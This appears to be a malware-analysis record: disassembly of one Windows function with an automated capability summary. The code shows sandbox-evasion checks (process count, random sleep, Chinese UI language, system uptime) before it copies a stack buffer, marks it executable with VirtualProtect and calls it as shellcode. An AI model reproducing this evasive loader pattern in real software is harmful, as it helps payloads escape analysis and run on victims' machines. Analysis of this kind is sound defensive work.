Function at 0x140001260
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Identify system language via api

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x17b0
call fcn.140014d10
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x17a0], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400012f6
xor edx, edx
mov dword [rsp + 0x30], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x34]
call fcn.140015050
lea rdx, [rsp + 0x30]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400014a9
nop dword [rax]
lea rdx, [rsp + 0x30]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400012d0
cmp ebx, 0x50
jle 0x1400014a9
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000164c
mov dword [rsp + 0x34], eax
mov edx, 1
mov dword [rsp + 0x13b4], 0xffffffff
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x34], eax
inc rdx
cmp rdx, 0x270
jb 0x140001310
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x270
call fcn.1400014c0
mov ecx, eax
imul rcx, rcx, 0x2329
cmp ecx, 0x140a
ja 0x14000136d
lea rcx, [rsp + 0x30]
call fcn.1400014c0
mov ecx, eax
imul rcx, rcx, 0x2329
cmp ecx, 0x140b
jb 0x140001352
shr rcx, 0x20
add ecx, 0x800003e8
btc ecx, 0x1f
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x1400014b4
lea rcx, str.Chinese
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x927c0
jb 0x1400014b4
call fcn.140001070
lea rcx, [rsp + 0x13c0]
mov eax, 7
lea rdx, [0x14001e550]
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400013d0
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x50]
lea r9, [rsp + 0x20]
movups xmm1, xmmword [rdx + 0x10]
mov r8d, 0x40
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm0
mov qword [rcx + 0x50], rax
mov eax, dword [rdx + 0x58]
mov dword [rcx + 0x58], eax
movzx eax, byte [rdx + 0x5c]
mov edx, 0x3dd
mov byte [rcx + 0x5c], al
lea rcx, [rsp + 0x13c0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x13c0]
call rax
xor eax, eax
mov rcx, qword [rsp + 0x17a0]
xor rcx, rsp
call fcn.140001810
mov rbx, qword [rsp + 0x17c0]
add rsp, 0x17b0
pop rdi
ret
mov ecx, 1
call fcn.140005028
int3
mov ecx, 1
call fcn.140005028
int3